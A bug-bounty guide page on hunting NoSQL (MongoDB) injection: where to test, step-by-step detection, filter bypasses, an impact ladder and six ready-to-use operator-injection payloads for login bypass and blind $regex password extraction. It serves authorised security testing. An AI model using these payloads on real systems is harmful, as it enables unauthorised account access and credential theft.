Payloads.
Pick a vulnerability class, learn how to hunt it step by step, grab the payloads that actually work. Curated from PayloadsAllTheThings — the full section is linked under every class.
NoSQL Injection
NoSQL databases accept structured operators ($ne, $gt, $regex) — when input flows in unsanitized, those operators become your query language. MongoDB is the common target; the injection surface is any endpoint that builds queries from user objects.
Severity guide
High when auth bypass is proven; the $regex oracle leaking credentials one character at a time is a full extract primitive.
Where to look
entry points to test first01
Login/auth endpoints
Username/password forms and JSON bodies — the classic operator-injection target.
02
JSON API parameters
Any endpoint that passes objects through to the DB layer (filter/query params, bulk operations).
03
Bracket-notation forms
Form endpoints accepting user[$ne]= — Express/PHP style array parsing turns params into operators.
04
Search & filter features
Document-store-backed search with client-supplied filter shapes.
05
Mobile/API backends
Newer stacks are more likely MongoDB — and often skip input shaping entirely.
How to hunt it
in order, start to finishDetect operator acceptance
Submit username[$ne]=toto&password[$ne]=toto on form endpoints — a login success or different error means operators are parsed.
Test JSON bodies too
For JSON APIs: {"username":{"$ne":null},"password":{"$ne":null}} — MongoDB evaluates the operator instead of the literal.
Extract data blindly with $regex
Cycle one character at a time: {"username":{"$eq":"admin"},"password":{"$regex":"^m"}} — success/failure differences leak the password prefix.
Script the extraction
The regex oracle leaks a full credential in a few hundred requests — scriptable with a simple loop over ^a, ^b, ^c…
Check the write paths
$where (JS execution server-side) and $function operators turn injection into RCE on some configurations — test if the API passes operators on writes/updates too.
Filter & validation bypasses
when your first tries get blocked- 01JSON body filtered? Switch to form-encoded bracket syntax (user[$ne]=) — many stacks parse one but not the other.
- 02Content-Type enforced? Send the same operators as query params — GET-based operator injection survives on sloppy routes.
- 03$ne blocked? $gt (""), $nin, $regex, and $where all trigger the same class of bug.
- 04String-input validators? Nest operators one level deeper — validators often check top-level types only.
Impact ladder
what makes it payable- 01Auth bypass — match any user with $ne/$gt operators.
- 02Blind credential extraction — $regex oracle dumps passwords character by character.
- 03Cross-user data access — operator-filtered queries read anything.
- 04Server-side JS execution ($where) on permissive configs = RCE.
Payloads
6 · from PayloadsAllTheThingsusername[$ne]=toto&password[$ne]=totoForm-encoded operator injection — auth bypass if operators are parsed.
{"username":{"$ne":null},"password":{"$ne":null}}JSON variant — matches any username/password pair.
login[$regex]=a.*&pass[$ne]=lolRegex-gated login — enumeration primitive.
{"username":{"$eq":"admin"},"password":{"$regex":"^m"}}Blind extraction: response differs only when the prefix matches.
username[$ne]=toto&password[$regex]=.{1}Length-probing variant — measures how deep the oracle goes.
login[$nin][]=admin&login[$nin][]=test&pass[$ne]=toto$nin arrays for multi-value exclusion probing.
Payload strings, code and technical terms are shown in English on purpose — payloads must be copied exactly as published.
Payloads originate from PayloadsAllTheThings (MIT) — use them only on programs you're authorized to test.